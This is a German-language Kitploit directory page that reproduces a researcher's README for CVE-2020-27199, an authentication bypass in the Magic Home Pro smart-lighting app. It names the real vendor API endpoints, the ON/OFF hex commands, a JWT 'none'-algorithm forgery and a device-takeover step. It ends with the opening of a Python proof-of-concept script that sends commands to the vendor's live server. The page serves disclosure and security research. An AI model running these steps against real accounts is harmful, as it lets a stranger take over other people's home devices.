Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-27199 — CVE-2020-27199 | Kitploit
Tools/GitHubGitHub/9lyph/cve-2020-27199
AufklärungIoT-SicherheitExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsMobile SicherheitAuthentifizierungPayload-Entwicklung
GitHub9lyph/cve-2020-27199

CVE-2020-27199

CVE-2020-27199

711vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
Teilen

CVE-2020-27199 (Magic Home Pro - Authentifizierungsumgehung)

magic-home-pro

Mehrere Schwachstellen wurden in der mobilen Magic Home Pro Anwendung gefunden, die zur Steuerung des JadeHomic LED-Strip-RGB-Kits verwendet wird. Die bedeutendste dieser Schwachstellen ist eine Authentifizierungsumgehung (CVE-2020-27199), die letztendlich eine vollständige Übernahme und Kontrolle der gesamten Gerätegruppe eines Opfers ermöglicht.

  • Im Folgenden werden die Aufklärungsschritte beschrieben, die zur endgültigen Ausnutzung führten, sowie das PoC-Material, das für die Aufklärung und den endgültigen Exploit verwendet wurde.

PoC-Dateien

magichome-forge.py - JWT-Fälscher, verwendet zur Automatisierung der Geräteübernahme

magichome-sniffer.py - Lokaler Netzwerk-Sniffer, der das Netzwerk nach anfälligen Geräten durchsucht. Erstellt eine Liste von Geräten, gegen die Angriffe durchgeführt werden können

magichome-switch.py - Ermöglicht das Einschalten von Geräten

magichome-takeover.py - Payload, der eine erfolgreiche Übernahme eines Benutzerkontos ermöglicht

Vorarbeit zur Entdeckung

  • Gerootetes Android
  • Root-Erkennung umgangen durch Patchen, Neusignieren der JAR und Neuerstellen der APK (erforderlich)
  • Zertifikat-Pinning umgangen Frida zur Rettung (erforderlich)

Anwendung

Magic Home Pro

Anbieter des Produkts

JadeHomic

Eigentümer des WiFi-Controllers

Suzhou SmartChip Semiconductor Co.,Ltd

Anbieter-Website

JadeHomic

Referenzen

Mitre

Exploit-db

SpiderLabs Blog

Betroffene Produkt-Codebasis

Magic Home Pro

Beschreibung

Basis-URL: wifij01us.magichue.net

Aufklärung

Diese Schwachstelle ermöglicht es jedem authentifizierten Benutzer, seine aktuelle Autorisierungsstufe zu nutzen, um Endpunkte abzufragen, die nicht zu seinen registrierten Produkten gehören, unter Verwendung eines API-Aufrufs an /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address>. Dies führt zu einer HTTP-Antwort, die die Existenz des Endpunkts anzeigt und den Benutzernamen, die eindeutige Benutzerkennung (userUniID) und die gebundene eindeutige ID (bindedUniID) des zugehörigen Endpunkts zurückgibt.

Unter Verwendung der obigen Abfrage kann ein Angreifer dann eine nicht autorisierte POST-Anfrage an die API /app/sendCommandBatch/ZG001 senden, unter Verwendung der neu ermittelten MAC-Adresse, um Befehle an den entfernten Endpunkt zu senden, wobei die kompatiblen Hex-Befehle 71230fa3 und 71240fa4 verwendet werden, die jeweils EIN und AUS bewirken.

JWT-Fälschung basierend auf den oben ermittelten Details

Nach Abschluss der ersten Aufklärung ist es auch möglich, ein JWT unter Verwendung der userID und uniID in den JWT-Payload-Daten zu fälschen, wodurch der Token effektiv herabgestuft wird, um 'None' als Algorithmus im JWT-Header zu verwenden (Signaturumgehungs-Schwachstelle). Mit dieser Schwachstelle ist die Anwendung anfällig für eine Geräteübernahme durch einen Angreifer, indem der entfernte API-Aufruf an /app/shareDevice/ZG001 verwendet wird und der JSON-Parameter friendUserID genutzt wird, um das Gerät zur Geräteliste des Angreifers hinzuzufügen, wodurch der Angreifer die vollständige Kontrolle über das Endgerät erhält.

Danksagungen:

  • Medium
  • JWT_TOOL - ticarpi

Schwachstellentyp

  • Authentifizierungsumgehung
  • Informationsoffenlegung
  • Unbefugter Zugriff
  • Horizontale Privilegienausweitung

Zusätzliche Informationen

OUI

Die OUI beschreibt die eindeutige Kennung der Organisation für MAC-Adressen, die bei einer Organisation registriert sind. Im Fall von JadeHomic lautet die magische OUI C8:2E:47, wobei die ersten drei Bytes dem Hersteller und die zweiten drei Bytes der vom Hersteller zugewiesenen Seriennummer entsprechen. In unserem Fall ist die Herstellerkennung bei Suzhou SmartChip Semiconductor Co., LTD registriert.

CVE Auswirkung Sonstiges

Ermöglicht die Authentifizierungsumgehung der mobilen Magic Home Pro Anwendung und damit die vollständige Kontrolle über die gesamte Gerätegruppe eines Opferbenutzers.

Angriffsvektoren

  • Authentifizierter Benutzer erforderlich
  • Erfolgreiche Aufklärung des vorhandenen Endsystems
  • Anschließendes Senden von Batch-Befehlen an einen entfernten Endpunkt
  • Geräteübernahme
  • Authentifizierungsumgehung

PoC-Aufklärer und Batch-Befehl-Exploit

Der Proof of Concept führt eine Aufklärung der letzten Bytes im MAC-Bereich durch und gibt Ergebnisse zurück. Es ermöglicht einen Test der 'Remote-Ausführung', falls Sie sich mutig fühlen.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re

'''

  1. First Stage Authentication
  2. Second Stage Enumerate
  3. Third Stage Remote Execute '''

global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token

def turnOn(target, token):

urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71230fa3","macAddress":target}
    ]
}
data = json.dumps(array)
headersOn = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token):

Tool herunterladen